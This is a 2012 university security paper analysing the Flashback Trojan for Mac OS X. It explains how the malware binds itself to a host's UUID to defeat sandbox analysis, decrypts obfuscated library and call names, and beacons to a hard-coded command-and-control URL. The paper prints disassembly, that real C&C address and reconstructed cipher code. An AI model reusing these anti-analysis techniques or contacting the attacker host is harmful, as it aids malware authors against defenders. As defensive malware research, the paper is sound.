Flashback: Licensing Malware To Hinder Analysis and Functionality

Author: Daryl Ashley, ashley@infosec.utexas.edu
Senior Network Security Analyst
April 24, 2012

Information Security Office
The University of Texas at Austin
SECURUS // VIGILARE // INSANUS

Abstract

License keys have been used for a number of years to prevent the unauthorized use of a number of software packages. The authors of the Flashback Trojan appear to have incorporated a licensing technique during installation of the trojan that ensures that the binary installed on an infected Mac OS X computer cannot be run on other computers, including in a sandbox environment. This paper describes the licensing technique and some other obfuscation techniques used by the trojan.

Table of Contents

Introduction

Dr. Web, a Russian anti-virus vendor, recently reported that 550,000 Mac OS X computers have been infected with a trojan known as Flashback (Cheng 2012). Shortly after Dr. Web released the information, several other security companies confirmed the extent of the infection (Albanesius 2012, Brod 2012) and provided analysis of the malware (Gostev 2012). The trojan is of great interest because it calls into question the security of Mac OS X computers (Kerner 2012).

The malware is also interesting because it uses several techniques to hinder analysis of itself. Among those techniques are encryption and obfuscation of system calls. Obfuscation of system calls using the *dlopen* and *dlsym* functions, as well as the encryption of data within binaries, have been documented in other papers (Zhao et al.). However, the Flashback Trojan may be unique because it appears to install a "licensed" version of the original malware in addition to using standard obfuscation techniques. During the installation of the licensed version, the infected host's UUID is used to encrypt some data within the original binary that is needed for the malware to function properly. When the licensed version of the malware is executed, the infected host's UUID is used to decrypt the information. Without the host's UUID, the licensed version will not be able to decrypt the data and the malware will not function properly. This prevents the malware from being analyzed on a computer that does not have the correct UUID, so analysis via a sandbox environment is prevented. Static analysis of the licensed version without the infected host's UUID is also difficult because the encrypted data contains the names of the libraries and system calls that are resolved using *dlopen* and *dlsym*.

This paper describes how the Flashback Trojan installs a licensed version of itself on the infected host, using the infected host's UUID as a seed in the licensing process. This paper also shows how obfuscated system calls can be resolved once the data is decrypted. The md5 checksum of the unlicensed binary is 5ee8b7333f1dee03f1c5f63b3f596e24 and the md5 checksum of the licensed binary is fae40fde8d8516744efc4fe6cb37cac8. The binary that is analyzed was identified as a "Mach-O universal binary with 2 architectures", by the "file" command. The binary contains both a 32-bit and 64-bit version of the malware. The original and licensed specimens are available upon request from the author.

Overview of Functionality

The malware specimen analyzed in this paper was included in a jar file that attempts to exploit a host that is vulnerable to a Java exploit (Brod 2012). Analysts have shown that the malware will not run if certain applications, such as Little Snitch or ClamXav are present on the host (Gostev 2012). If these applications are not present, the malware will continue to execute.

The malware specimen contains a chunk of binary data that is 0x1051 bytes in length. This binary data is located at offset 0x510C when the malware is analyzed using IDA Pro. This paper will refer to this binary chunk of data as the "blob" field. The blob contains a series of records. A number of the records

contain information needed by the malware to function properly. The data in a blob record must undergo two separate decryption steps before the data can be used by the malware. The blob records store information such as the names of libraries that are loaded dynamically via calls to *dlopen* and names of functions whose addresses must be resolved via calls to *dlsym*. The blob record format will be described later.

If the malware executes properly, the following occurs after decryption of the blob data:

1. **The host sends an HTTP GET request to a URL that is hard-coded in the executable**
2. **The host generates a cipher key using the UUID as a seed for the key generation algorithm**
3. **The blob field is encrypted with the key generated in step 2.**
4. **The blob field in the original malware binary is overwritten with the encrypted blob**
5. **The hard-coded URL in the malware binary from step 1 is zeroed out.**

At this point, the original malware binary has been replaced with a blob field that has been encrypted using a key generated by an algorithm using the host's UUID as a seed for the algorithm. The algorithm used is symmetric, so the same algorithm is used to decrypt the blob when the new executable is run. In this way, the new executable has been "licensed". If the executable is run on a different host, the UUID will generate a different key, and the blob field will not be decrypted properly.

When the new binary is executed, the following occurs:

1. **The blob field is decrypted using the key generated by the host UUID**
2. **The record data is decrypted so that the malware has all information needed for its functionality**
3. **The host enters into a Command and Control (C&C) loop**

Note that the URL that was hard-coded in the original binary is no longer present, so the URL is not contacted again. An overview of the malware's functionality is provided below in the following C style snippet:

```
#include <...>

char url[] = hxxp://phonehomesite.com/stat_svc/;
char blob[] = "Encrypted stuff...";
uint32_t blob_length = 0x1051;

int main ()
{
        determine_machine_uuid();

        if (url) {

                decrypt_blob_record_with_pipe_delimited_libraries();
                decrypt_blob_record_with_pipe_delimited_system_call_names();
                use_dlopen_and_dlsym_to_obtain_system_call_addresses();

                send_http_get_request_to_url();

                copy_exe_to_memory_buffer();
                zero_out_url_in_memory_buffer();
                generate_cipher_key_using_uuid_as_seed();
                encrypt_blob_using_cipher_key();
                replace_blob_in_memory_with_encrypted_blob();
                overwrite_exe_with_contents_of_memory();

        } else {

                generate_cipher_key_using_uuid_as_seed();
                decrypt_blob_using_cipher_key_above();

                decrypt_blob_record_with_pipe_delimited_libraries();
                decrypt_blob_record_with_pipe_delimited_system_call_names();
                use_dlopen_and_dlsym_to_obtain_system_call_addresses();

                do_C&C_stuff()
        }

        return 0;
}
```

Blob Record Structure and Data Decryption

Figure 1 shows a portion of the blob field embedded in the malware specimen. A C program that can be used to extract the contents of the blob field from the malware binary is included in Appendix 1. Each record in the blob field has the following layout:

Position	Name	Description
0x0	Signature	always 0xFD
0x1-0x2	Key	a unique key value to identify the record
0x3-0x6	Data length	length of the data
0x7-...	Data	encrypted data

The value at offset 0x5120 in the figure is 0xFD. This is the signature portion of the record. The next two bytes are 0x6192 in little endian format. These bytes are the record key. The next four bytes are 0x0000000C in little endian format. This is the length of the data stored in the record. Finally, the 0xC bytes starting at offset 0x5127 is the record data. To determine the location of the next record, add the record length to the offset of the data (0x5127 + 0xC = 0x5133). Note that the value located at 0x5133 in

the figure is 0xFD. The blob can be searched for a record with a specific key value by iterating in this way through the blob.

```
00005120  FD 92 61 0C 00 00 00 F0  AA 40 53 99 CC AC 8A 20
00005130  C7 2B 60 FD 8F D1 00 02  00 00 1C 8B A2 AD 02 04
00005140  A4 D4 29 BC 94 BD EB CB  1C FE 13 7D BA F8 2A C5
00005150  73 79 DF 7C 60 3A 16 AB  2C 96 58 CC A0 40 71 E5
00005160  02 A2 E8 F0 CB 48 D3 BF  73 95 8B AC 57 91 8E 50
00005170  4C A4 04 D1 0E EC 42 18  9C 43 FD B7 A1 AA F2 D7
00005180  2C AE D1 ED 3E FB 76 7D  81 26 F4 6A B7 6C C8 7C
```

Figure 1: Blob embedded in Flashback Trojan

The malware extracts record data from the blob field by making calls to subroutine sub_4A11. Figure 2 shows the subroutine being called to retrieve the record with key 0x6192, the key of the first record shown in Figure 1. The subroutine is also passed two 32 bit values, 0x27354581 and 0xA2937647. These two values are used to decrypt the record data. The decrypted data is written to a memory buffer that can be accessed by var_1C. The length of the memory buffer is stored in var_20. Similar calls are made at a number of locations in the subroutine sub_23EF. The blob record with the key value 0xF12E contains the library names needed by the malware. The data for this record is stored in a memory buffer that can be accessed via var_28 after sub_4A11 is called at offset 0x2824. The blob record with the key value of 0xE002 contains the function names needed by the malware. The data for this record is stored in a memory buffer that can be accessed via var_30.

```
__text:00002777    call    _memset
__text:0000277C    lea     edx, [ebp+var_1C]
__text:0000277F    lea     eax, [ebp+var_20]
__text:00002782    mov     [esp+10h], edx
__text:00002786    mov     [esp+14h], eax
__text:0000278A    mov     dword ptr [esp+8], 27354581h
__text:00002792    mov     dword ptr [esp+0Ch], 0A2937647h
__text:0000279A    mov     dword ptr [esp+4], 6192h
__text:000027A2    mov     [esp], ebx
__text:000027A5    call    sub_4A11
```

Figure 2: Calling sub_4A11 to extract record data from the blob field

The first record in the blob is special because it contains three 32-bit values that are used as keys in a second decryption step for the remaining records in the blob. Figure 3 shows the three 32-bit values being stored in the variables var_1FBC, var_1FC0, and var_1FC4. Figure 4 shows the three variables and var_28 being passed as parameters to subroutine sub_2296. This subroutine uses the three variables to perform the second decryption step on the memory buffer that is accessed via var_28. The second decryption step produces the following pipe delimited list of library names:

/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit|/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices|/usr/lib/libgcc_s.1.dylib|/usr/lib/libz.dylib|/usr/lib/libssl.dylib|/usr/lib/libcrypto.dylib

```
__text:00002943                 call    sub_4A11
__text:00002948                 mov     eax, [ebp+var_1C]
__text:0000294B                 test    eax, eax
__text:0000294D                 jz      loc_44BD
__text:00002953                 mov     ebx, [ebp+var_24]
__text:00002956                 test    ebx, ebx
__text:00002958                 jz      loc_44BD
__text:0000295E                 mov     ecx, [ebp+var_2C]
__text:00002961                 test    ecx, ecx
__text:00002963                 jz      loc_44BD
__text:00002969                 mov     edx, [ebp+var_34]
__text:0000296C                 test    edx, edx
__text:0000296E                 jz      loc_44BD
__text:00002974                 mov     esi, [ebp+var_3C]
__text:00002977                 test    esi, esi
__text:00002979                 jz      loc_44BD
__text:0000297F                 mov     ebx, [ebp+var_44]
__text:00002982                 test    ebx, ebx
__text:00002984                 jz      loc_44BD
__text:0000298A                 mov     ecx, [ebp+var_5C]
__text:0000298D                 test    ecx, ecx
__text:0000298F                 jz      loc_44BD
__text:00002995                 mov     ecx, [ebp+var_64]
__text:00002998                 test    ecx, ecx
__text:0000299A                 jz      loc_44BD
__text:000029A0                 mov     edx, [eax]
__text:000029A2                 lea     esi, [ebp+var_188]
__text:000029A8                 mov     [ebp+var_1FBC], edx
__text:000029AE                 mov     ebx, [eax+4]
__text:000029B1                 mov     edx, [ebp+var_68]
__text:000029B4                 mov     [ebp+var_1FC0], ebx
__text:000029BA                 mov     eax, [eax+8]
__text:000029BD                 mov     [esp+0Ch], ecx
__text:000029C1                 mov     [esp+4], ebx
__text:000029C5                 mov     [ebp+var_1FC4], eax
```

Figure 3: Data from record with key 0x6192 is stored in three variables

```
__text:00002CF5 loc_2CF5:                               ; CODE XREI
__text:00002CF5                 mov     eax, [ebp+var_28]
__text:00002CF8                 lea     edi, [ebp+var_6C]
__text:00002CFB                 mov     ecx, [ebp+var_1FBC]
__text:00002D01                 mov     edx, eax
__text:00002D03                 shr     edx, 1Fh
__text:00002D06                 add     edx, eax
__text:00002D08                 mov     eax, [ebp+var_24]
__text:00002D0B                 sar     edx, 1
__text:00002D0D                 mov     [esp+10h], edx
__text:00002D11                 mov     edx, [ebp+var_1FC0]
__text:00002D17                 mov     [esp], ecx
__text:00002D1A                 mov     [esp+0Ch], eax
__text:00002D1E                 mov     eax, [ebp+var_1FC4]
__text:00002D24                 mov     [esp+4], edx
__text:00002D28                 mov     [esp+8], eax
__text:00002D2C                 call    sub_2296
__text:00002D31                 mov     [esp+8], edi    ; char **
```

Figure 4: Call to second decryption routine, sub_2296

Dynamic Resolution of System Call Addresses

Two decrypted blob records are used to resolve the addresses of system calls. The first is a pipe-delimited list of library names. The second is a pipe-delimited list of system call names. The list of library names was shown in the previous section. The list of system call names is shown below.

_NSGetExecutablePath|CFStringCreateWithCString|CFStringGetCString|CFRelease|CFURLCreateWithString|CFHTTPMessageCreateRequest|CFHTTPMessageSetHeaderFieldValue|CFReadStreamCreateForHTTPRequest|CFReadStreamOpen|CFReadStreamRead|CFReadStreamClose|IORegistryEntryFromPath|IORegistryEntryCreateCFProperty|IOObjectRelease|uncompress|compressBound|compress2|__CFStringMakeConstantString|BIO_new|BIO_ctrl|BIO_write|BIO_free_all|BIO_push|BIO_new_mem_buf|BIO_f_base64|BIO_s_mem|BIO_read|RSA_verify|SHA1|gethostbyname|BN_bin2bn|RSA_new

The library names are parsed using the *strtok_r* function. The *strdup* function is used to create a duplicate buffer containing each library name. Each duplicated buffer is added to a linked list by calling subroutine sub_46DD. A head node pointing to the first entry of the linked list can be accessed via the variable off_617C. Figure 5 shows the portion of the malware that loops through the pipe-delimited list of library names.

The function names are also parsed using the *strtok_r* function. However, after duplicating each function name using the *strdup* function, the address of each duplicated function name is stored in an array. The base of the array is accessed using the variable named "symbol" by IDA Pro. Figure 6 shows the portion of the malware that creates the entries in the symbol array.

The subroutine named sub_1F54 is used to dynamically load any libraries needed in the linked list using the *dlopen* system call. The subroutine also uses the *dlsym* system call to resolve each system call name to the address that the system call is loaded in memory. The address is stored in a global variable that is used to access the system call in other portions of the malware. Figure 7 shows the calls made to subroutine sub_1F54 and Figure 8 shows the calls to *dlopen* and *dlsym* made in sub_1F54. A table showing the system call names and the variables that store the addresses is shown in Appendix 3.

```
__text:00002D35                 mov     dword ptr [esp+4], offset asc_4F77 ; char *
__text:00002D3D                 mov     ebx, eax
__text:00002D3F                 mov     [esp], eax      ; char *
__text:00002D42                 call    _strtok_r
__text:00002D47                 mov     esi, ds:off_617C ; esi can now be used to access head node
__text:00002D4D                 jmp     short loc_2D7D
__text:00002D4F ; ---------------------------------------------------------------------------
__text:00002D4F
__text:00002D4F loc_2D4F:                               ; CODE XREF: sub_23EF+990↓j
__text:00002D4F                 mov     [esp], eax      ; char *
__text:00002D52                 call    _strdup
__text:00002D57                 mov     [esp+4], eax
__text:00002D5B                 mov     eax, [esi]      ; Linked list head node
__text:00002D5D                 mov     [esp], eax
__text:00002D60                 call    sub_46DD        ; Add library name to linked list
__text:00002D65                 mov     [esp+8], edi    ; char **
__text:00002D69                 mov     dword ptr [esp+4], offset asc_4F77 ; char *
__text:00002D71                 mov     dword ptr [esp], 0 ; char *
__text:00002D78                 call    _strtok_r
__text:00002D7D
__text:00002D7D loc_2D7D:                               ; CODE XREF: sub_23EF+95E↑j
__text:00002D7D                 test    eax, eax
__text:00002D7F                 jnz     short loc_2D4F
__text:00002D81                 test    ebx, ebx
```

Figure 5: Using strtok_r to parse the pipe delimited list of library names

```
__text:00002E2C                 mov     dword ptr [esp+4], offset asc_4F77 ; char *
__text:00002E34                 mov     [esp], ebx      ; char *
__text:00002E37                 call    _strtok_r
__text:00002E3C                 jmp     short loc_2E66
__text:00002E3E ; ---------------------------------------------------------------------------
__text:00002E3E
__text:00002E3E loc_2E3E:                               ; CODE XREF: sub_23EF+A79↓j
__text:00002E3E                 mov     [esp], eax      ; char *
__text:00002E41                 call    _strdup
__text:00002E46                 mov     [esp+8], edi    ; char **
__text:00002E4A                 mov     dword ptr [esp+4], offset asc_4F77 ; char *
__text:00002E52                 mov     dword ptr [esp], 0 ; char *
__text:00002E59                 mov     [ebp+esi*4+symbol], eax ; Store function name in symbol array
__text:00002E60                 inc     esi
__text:00002E61                 call    _strtok_r
__text:00002E66
__text:00002E66 loc_2E66:                               ; CODE XREF: sub_23EF+A4D↑j
__text:00002E66                 test    eax, eax
__text:00002E68                 jnz     short loc_2E3E
__text:00002E6A                 test    ebx, ebx
```

Figure 6: Using strtok_r and strdup to parse the pipe delimited list of function names

```
__text:00002EAD                 mov     ebx, ds:off_617C ; Linked list of library names
__text:00002EB3                 mov     eax, [ebp+symbol] ; System call name
__text:00002EB9                 mov     [esp+4], eax    ; symbol
__text:00002EBD                 mov     eax, [ebx]
__text:00002EBF                 mov     [esp], eax      ; int
__text:00002EC2                 call    sub_1F54        ; Calls dlopen and dlsym
__text:00002EC7                 mov     ds:dword_61A0, eax ; Store address of system call in word_61A0
__text:00002ECC                 mov     eax, [ebp+var_688]
```

Figure 7: Resolving system call addresses

```
__text:00001F59                 sub     esp, 10h
__text:00001F5C                 mov     ebx, [ebp+arg_0] ; Linked list of library names
__text:00001F5F                 mov     esi, [ebp+symbol] ; System call name
__text:00001F62                 mov     dword ptr [esp+4], 0
__text:00001F6A                 jmp     short loc_1F98
__text:00001F6C ; ---------------------------------------------------------------------------
__text:00001F6C
__text:00001F6C loc_1F6C:                               ; CODE XREF: sub_1F54+56↓j
__text:00001F6C                 mov     dword ptr [esp+4], 1 ; mode
__text:00001F74                 mov     [esp], eax      ; path
__text:00001F77                 call    _dlopen
__text:00001F7C                 test    eax, eax
__text:00001F7E                 jz      short loc_1F90
__text:00001F80                 mov     [esp+4], esi    ; symbol
__text:00001F84                 mov     [esp], eax      ; handle
__text:00001F87                 call    _dlsym
```

Figure 8: Calls to dlopen and dlsym

Deobfuscation of HTTP Communication Subroutine

Figure 9 shows a portion of subroutine sub_1FB3. The subroutine makes calls to function addresses that are stored in several global variables. The obfuscation of the system calls makes it difficult to determine the purpose of the subroutine. However, once the global variables are cross-referenced with the system call names, it is easier to see that this subroutine is used to send HTTP GET requests to a remote site.

```
__text:00002021                 mov     [esp+4], eax
__text:00002025                 call    ds:dword_61B0   ; CFURLCreateWithString
__text:0000202B                 mov     edi, ds:dword_61B4
__text:00002031                 mov     dword ptr [esp], 4F48h
__text:00002038                 mov     esi, eax
__text:0000203A                 mov     eax, ds:_kCFHTTPVersion1_1_ptr
__text:0000203F                 mov     ebx, [eax]
__text:00002041                 call    ds:dword_61E4   ; __CFStringMakeConstantString
__text:00002047                 mov     [esp+8], esi
__text:0000204B                 mov     dword ptr [esp], 0
__text:00002052                 mov     [esp+0Ch], ebx
__text:00002056                 mov     [esp+4], eax
__text:0000205A                 call    edi ; dword_61B4 ; CFHTTPMessageCreateRequest
__text:0000205C                 mov     edx, [ebp+var_20]
__text:0000205F                 test    edx, edx
__text:00002061                 mov     esi, eax
__text:00002063                 jz      short loc_2088
__text:00002065                 mov     ebx, ds:dword_61B8
__text:0000206B                 mov     dword ptr [esp], 4F4Ch
__text:00002072                 call    ds:dword_61E4   ; __CFStringMakeConstantString
__text:00002078                 mov     edx, [ebp+var_20]
__text:0000207B                 mov     [esp], esi
__text:0000207E                 mov     [esp+8], edx
__text:00002082                 mov     [esp+4], eax
__text:00002086                 call    ebx ; dword_61B8 ; CFHTTPMessageSetHeaderFieldValue
__text:00002088
```

Figure 9: Obfuscated subroutine

Installation of Licensed Version

Figure 10 shows the variable used by the malware to access the URL that is contacted during the initial execution of the malware. The figure also shows the variables used to determine the length and location of the blob field. These variables are named off_5108 (length of blob field), off_5104 (URL), and unk_5120 (blob field). The figure also shows the variable that stores the host's UUID (off_6184). Figure 11 shows the URL that is accessed using the variable off_5104.

```
__text:000024C8    call    _IOObjectRelease
__text:000024CD    mov     esi, ds:off_6184
__text:000024D3    mov     dword ptr [esp+0Ch], 0
__text:000024DB    mov     dword ptr [esp+8], 400h
__text:000024E3    mov     [esp], ebx
__text:000024E6    mov     [esp+4], esi
__text:000024EA    call    _CFStringGetCString ; Host UUID can now be accessed via off_6184
__text:000024EF    mov     [esp], ebx
__text:000024F2    call    _CFRelease
__text:000024F7    mov     eax, ds:off_5108 ; Size of blob
__text:000024FC    mov     eax, [eax]
__text:000024FE    mov     [ebp+var_2020], eax
__text:00002504    mov     [esp], eax      ; size_t
__text:00002507    call    _malloc
__text:0000250C    mov     [ebp+var_2028], eax
__text:00002512    mov     eax, ds:off_5104 ; Hard coded URL
__text:00002517    cmp     byte ptr [eax], 0
__text:0000251A    jz      short loc_2541
__text:0000251C    mov     eax, [ebp+var_2020]
__text:00002522    mov     edx, [ebp+var_2028]
__text:00002528    mov     dword ptr [esp+4], offset unk_5120 ; void * -> blob field
__text:0000252A    mov     [esp+8], eax    ; size_t
```

Figure 10: Some important variables

```
]; 0
1
_202 ; char *off_5104
_202 off_5104        dd offset aHttp176_9_250_ ; DATA XREF: sub_23EF+123↑r
p+4]                                          ; sub_23EF+E43↑r ...
                                              ; "http://176.9.250.147/stat_svc/"
     ; size_t
     ; void *
```

Figure 11: URL that can be accessed via off_5104

When the malware is executed, subroutine sub_1FB3 is used to send an HTTP GET request to the URL that is accessed through off_5104. Figure 12 shows the call to sub_1FB3 at program offset 0x3264. Note that at program offset 0x323A, the HTTP GET request will not be sent if no URL is present in the malware binary. This is the portion of the malware in which branching to the installation of a licensed version or execution of the C&C loop occurs. Also note that the malware determines its fully qualified path and name using the *NSGetExecutablePath* system call at offset 0x322C.

```
__text:00003229                 mov     [esp], ebx
__text:0000322C                 call    ds:dword_61A0    ; _NSGetExecutablePath
__text:00003232                 mov     eax, ds:off_5104 ; URL string
__text:00003237                 cmp     byte ptr [eax], 0
__text:0000323A                 jz      loc_3584         ; If no URL, skip watermarking steps
__text:00003240                 mov     dword ptr [esp], 7D000h ; size_t
__text:00003247                 call    _malloc
__text:0000324C                 mov     edx, ds:off_6184 ; UUID string
__text:00003252                 lea     ecx, [ebp+var_80]
__text:00003255                 mov     dword ptr [esp], 7D000h
__text:0000325C                 mov     [ebp+var_80], eax
__text:0000325F                 mov     eax, ds:off_5104
__text:00003264                 call    sub_1FB3         ; Send HTTP GET request to URL
__text:00003269                 mov     eax, ds:off_5104
```

Figure 12: HTTP communication with hard-coded URL

After the HTTP GET request is sent to the C&C site, the malware starts to overwrite the original malware binary with a licensed version of itself. Figure 13 shows calls to *fopen*, *fseek*, and *ftell*. These system calls are used to open the malware binary in read only mode, set the file pointer to the end of the file, and determine the position of the file pointer. In this way, the malware is able to determine the size of the binary. Once the size of the binary is determined, the *malloc* system call is used to allocate a memory buffer that can be used to store a copy of the binary. Then a call is made to *fread* to copy the binary into the memory buffer.

Figure 14 shows the portion of the malware that is used to zero out the URL that is accessed via off_5104. The memory buffer containing the copy of the binary is examined and zeroed out using the *memcmp* and *memset* system calls. Recall that this binary contains both a 32-bit and 64-bit version of the malware. So, there should be two copies of the URL within the binary. The memory buffer is examined one byte at a time until the entire memory buffer has been examined, so both URLs will be zeroed out.

The instructions at offsets 0x3397 – 0x34CD are used to create an encrypted copy of the blob field. The algorithm used is examined in more detail in the next section. Once the blob field has been encrypted, the *memcmp* and *memset* system calls are used to replace the original blob fields in the memory buffer. The logic is similar to that used to zero out the URLs in Figure 14. After the blob fields in the memory buffer have been replaced with encrypted versions, the original binary is overwritten with the contents of the memory buffer. Figure 15 shows the overwriting of the original blob field in the memory buffer and Figure 16 shows the original binary being overwritten.

```
__text:00003292                 mov     dword ptr [esp+4], offset aRb ; char *
__text:0000329A                 call    _fopen          ; Open malware binary in read only mode
__text:0000329F                 test    eax, eax
__text:000032A1                 mov     ebx, eax
__text:000032A3                 jz      loc_3584
__text:000032A9                 mov     dword ptr [esp+8], 2 ; int
__text:000032B1                 mov     dword ptr [esp+4], 0 ; __int32
__text:000032B9                 mov     [esp], eax      ; FILE *
__text:000032BC                 call    _fseek          ; fseek(file *, 0, SEEK_END)
__text:000032C1                 mov     [esp], ebx      ; FILE *
__text:000032C4                 call    _ftell          ; Get current file position (file size)
__text:000032C9                 mov     dword ptr [esp+8], 0 ; int
__text:000032D1                 mov     dword ptr [esp+4], 0 ; __int32
__text:000032D9                 mov     [esp], ebx      ; FILE *
__text:000032DC                 mov     [ebp+var_2000], eax
__text:000032E2                 call    _fseek          ; Reset file pointer to beginning of file
__text:000032E7                 mov     eax, [ebp+var_2000]
__text:000032ED                 sub     eax, 401h
__text:000032F2                 cmp     eax, 7CBFEh
__text:000032F7                 ja      loc_357C        ; Exit subroutine if file is too big
__text:000032FD                 mov     edi, [ebp+var_2000]
__text:00003303                 xor     esi, esi
__text:00003305                 mov     [esp], edi      ; size_t
__text:00003308                 call    _malloc         ; Request memory buffer equal to size of binary
__text:0000330D                 mov     [esp+0Ch], ebx  ; FILE *
__text:00003311                 mov     dword ptr [esp+8], 1 ; size_t
__text:00003319                 mov     [esp+4], edi    ; size_t
__text:0000331D                 mov     [ebp+var_202C], eax
__text:00003323                 mov     [esp], eax      ; void *
__text:00003326                 call    _fread          ; Copy binary into memory buffer
__text:0000332B                 mov     [esp], ebx      ; FILE *
__text:0000332E                 call    _fclose
```

Figure 13: Copying malware binary to allocated memory buffer

```
__text:00003353 loc_3353:                               ; CODE XREF: sub_23EF+FA6↓j
__text:00003353                 mov     edi, [ebp+var_202C] ; Buffer with copy of binary
__text:00003359                 mov     ecx, [ebp+var_1F9C] ; URL string
__text:0000335F                 mov     [esp+8], ebx
__text:00003363                 add     edi, esi
__text:00003365                 mov     [esp+4], ecx    ; void *
__text:00003369                 mov     [esp], edi      ; void *
__text:0000336C                 call    _memcmp         ; Look for URL string
__text:00003371                 test    eax, eax
__text:00003373                 jnz     short loc_338E  ; If URL string not found, go to next byte
__text:00003375                 mov     eax, [ebp+var_1FF8]
__text:0000337B                 lea     esi, [ebx+esi]
__text:0000337E                 mov     [esp+8], ebx    ; size_t
__text:00003382                 mov     [esp], edi      ; void *
__text:00003385                 mov     [esp+4], eax    ; void *
__text:00003389                 call    _memcpy         ; Zero out URL string
__text:0000338E
__text:0000338E loc_338E:                               ; CODE XREF: sub_23EF+F84↑j
__text:0000338E                 inc     esi             ; increment offset within buffer with binary
__text:0000338F
__text:0000338F loc_338F:                               ; CODE XREF: sub_23EF+F62↑j
__text:0000338F                 cmp     [ebp+var_2000], esi ; var_2000 = length of buffer with binary
__text:00003395                 ja      short loc_3353
```

Figure 14: Searching for and zeroing out URL string

```
__text:000034CF
__text:000034CF loc_34CF:                               ; CODE XREF: sub_23EF+1131↓j
__text:000034CF                 mov     esi, [ebp+var_202C] ; buffer with copy of binary
__text:000034D5                 mov     eax, [ebp+var_2028] ; Copy of original blob
__text:000034DB                 mov     edi, [ebp+var_2020]
__text:000034E1                 add     esi, ebx
__text:000034E3                 mov     [esp+4], eax    ; void *
__text:000034E7                 mov     [esp+8], edi    ; size_t
__text:000034EB                 mov     [esp], esi      ; void *
__text:000034EE                 call    _memcmp         ; Look for original blob
__text:000034F3                 test    eax, eax
__text:000034F5                 jnz     short loc_3519
__text:000034F7                 mov     edx, [ebp+var_1FFC]
__text:000034FD                 mov     ecx, [ebp+var_2030] ; buffer containing encrypted blob
__text:00003503                 mov     [esp], esi      ; void *
__text:00003506                 mov     [esp+8], edx    ; size_t
__text:0000350A                 mov     [esp+4], ecx    ; void *
__text:0000350E                 call    _memcpy         ; Replace original blob with encrypted blob
__text:00003513                 add     ebx, [ebp+var_1FFC]
__text:00003519
__text:00003519 loc_3519:                               ; CODE XREF: sub_23EF+1106↑j
__text:00003519                 inc     ebx             ; increment offset within buffer containing binary
__text:0000351A
__text:0000351A loc_351A:                               ; CODE XREF: sub_23EF+10DE↑j
__text:0000351A                 cmp     [ebp+var_2000], ebx
__text:00003520                 ja      short loc_34CF
```

Figure 15: Searching for and replacing the original blob field

```
__text:00003520                 ja      short loc_34CF
__text:00003522                 mov     eax, ds:off_6180
__text:00003527                 mov     dword ptr [esp+4], offset aWb ; char *
__text:0000352F                 mov     [esp], eax      ; char *
__text:00003532                 call    _fopen          ; Open binary in write mode (truncate it)
__text:00003537                 mov     ebx, eax
__text:00003539                 mov     eax, 1
__text:0000353E                 test    ebx, ebx
__text:00003540                 jz      loc_456D
__text:00003546                 mov     edi, [ebp+var_2000] ; Length of buffer with modified binary
__text:0000354C                 mov     eax, [ebp+var_202C] ; Buffer with modified binary
__text:00003552                 mov     [esp+0Ch], ebx
__text:00003556                 mov     dword ptr [esp+8], 1
__text:0000355E                 mov     [esp+4], edi
__text:00003562                 mov     [esp], eax
__text:00003565                 call    _fwrite$UNIX2003 ; Overwrite the original binary with watermarked version
__text:0000356A                 mov     [esp], ebx      ; FILE *
__text:0000356D                 call    _fclose
__text:00003572                 mov     eax, 1
```

Figure 16: Overwriting the original binary with the watermarked version

Encryption of the Blob Field

The encryption of the blob field can be broken up into two steps. The first step is the generation of an encryption key and the second step is the actual encryption of the blob field. A C code snippet that shows the generation of the encryption key is shown in Figure 17. The infected host's UUID string is used as a seed for an algorithm that uses a series of transpositions to produce a 256-byte key.

A C code snippet that shows the encryption process is shown in Figure 18. The algorithm is used to generate a stream of bytes that are XOR'd with the blob field. This algorithm is similar to the one-time tape described in (Schneier 2006), with the exception that the stream of bytes is not completely random. One important characteristic of this algorithm is that it is symmetric. The algorithm used for encryption is also used to decrypt the blob record.

```
unsigned char alphabet[256];
unsigned char uuid[] = "00000000-0000-1000-8000-000C29074429";
CreateKey(alphabet, uuid, strlen(uuid));

void CreateKey (unsigned char *alphabet, unsigned char *seed, uint32_t length)
{
        uint32_t i, j, pos;
        uint64_t val;
        unsigned char val1, val2;
        val1 = 0;
        val2 = 0;
        for (i = 0; i < 256; i++) {
                alphabet[i] = i;
        }
        for (i = 0; i < 256; i++) {
                val = i;
                val >>= 0x1F;
                val <<= 32;
                val += i;
                pos = val % length;
                val1 = alphabet[i];
                val2 = (val1 + val2 + seed[pos]) & 0xFF;

                // swap values
                alphabet[i] = alphabet[val2];
                alphabet[val2] = val1;
        }
        return;
}
```

Figure 17: Key Generation Algorithm

```
uint32_t idx1 = 0;
uint32_t idx2 = 0;
for (i = 0; i < BLOB_SIZE; i++) {
        idx1++;
        idx1 &= 0xFF;
        idx2 += alphabet[idx1];
        idx2 &= 0xFF;

        unsigned char val = alphabet[idx1];
        alphabet[idx1] = alphabet[idx2];
        alphabet[idx2] = val;

        uint32_t pos = alphabet[idx1] + alphabet[idx2];
        pos &= 0xFF;

        bin[i] ^= alphabet[pos];
}
```

Figure 18: One-time tape

The instructions at offsets 0x2541 – 0x2659 are identical in functionality to the instructions at offsets 0x3397 – 0x34CD. Figure 10 shows that a jump is made to offset 0x2541 if no URL is hard-coded in the malware binary. This portion of the code is used to decrypt the blob field in the licensed version of the malware.

Conclusion

A number of automated sandbox environments have been developed to help safely analyze malware specimens. The sandbox environments run the malware in a controlled environment and observe the behavior of the malware. These tools provide a quick and safe method for analyzing and reporting about the behavior of a specific malware specimen. However, the authors of the Flashback Trojan may have taken a step to combat the use of sandbox environments for analysis. In doing so, they have reduced the tool set available to security analysts that are interested in studying their behavior.

Bibliography

Albanesius, Chloe (2012, April 6). Kaspersky Confirms Widespread Mac Infections Via Flashback Trojan. Retrieved April 24, 2012 from PCMag Website: http://www.pcmag.com/article2/0,2817,2402715,00.asp

Brod (2012, April 2). Mac Flashback Exploiting Unpatched Java Vulnerabilty. Retrieved April 24, 2012 from F-Secure Website: http://www.f-secure.com/weblog/archives/00002341.html

Cheng, Jacqui (2012, April 4). Flashback Trojan reportedly controls half a million Macs and counting. Retrieved April 24, 2012 from ars technica Website: http://arstechnica.com/apple/news/2012/04/flashback-trojan-reportedly-controls-half-a-million-macs-and-counting.ars?utm_source=rss&utm_medium=rss&utm_campaign=rss

Gostev, Alexander (2012, April 19). The anatomy of Flashfake. Part 1. Retrieved April 24, 2012 from SecureList Website: https://www.securelist.com/en/analysis/204792227/The_anatomy_of_Flashfake_Part_1

